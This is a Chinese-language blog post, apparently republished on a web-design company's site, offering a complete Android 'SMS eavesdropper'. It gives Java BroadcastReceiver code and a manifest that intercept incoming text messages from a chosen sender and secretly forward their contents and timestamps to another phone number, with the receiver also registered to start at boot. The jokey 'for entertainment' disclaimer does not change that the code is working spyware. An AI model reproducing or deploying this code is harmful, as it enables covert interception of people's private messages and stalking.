廢話不多直接上代碼:
成都創新互聯主要從事成都網站制作、做網站、外貿營銷網站建設、網頁設計、企業做網站、公司建網站等業務。立足成都服務曲周,10年網站建設經驗,價格優惠、服務專業,歡迎來電咨詢建站服務:028-86922220
package com.qiao.service;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
/**
* 注 純屬娛樂,請勿瞎搞,另手機裝有衛士之類的軟件會發生攔截
* @author Administrator
*
*/
public class MySmsService extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
//獲取短信實體內容
Object [] pdus = (Object[]) intent.getExtras().get("pdus");
//迭代短信內容
for (Object pdu :pdus) {
//對短信各部分進行組成
SmsMessage message= SmsMessage.createFromPdu((byte[]) pdu);
//獲得短信發送者
String sender = message.getOriginatingAddress();
//獲得短信內容
String content =message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH:mm:ss");
String time =dateFormat.format(date);
//處理所監聽到的短信
sendSMS(sender,content,time);
}
}
private void sendSMS(String sender, String content, String time) {
if ("這里填寫手機號-->發信息的人".equals(sender)) {
SmsManager manager = SmsManager.getDefault();
ArrayList<String> texts = manager.divideMessage(content);
for (String text : texts) {
manager.sendTextMessage("這里填寫監聽后需要發送給誰-->手機號", null, "time + " + time
+ " " + text, null, null);
}
}
}
}
以下是mainfest里邊權限之類的:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.qiao.smsreceiver"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.qiao.smsreceiver.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- 短信廣播接收器 -->
<receiver android:name="com.qiao.service.MySmsService">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
</manifest>
當前標題:android短信竊聽器,娛樂版,效果可以實現
網頁路徑:http://www.2m8n56k.cn/article12/joocdc.html
成都網站建設公司_創新互聯,為您提供面包屑導航、網站收錄、搜索引擎優化、微信小程序、虛擬主機、用戶體驗
聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:[email protected]。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯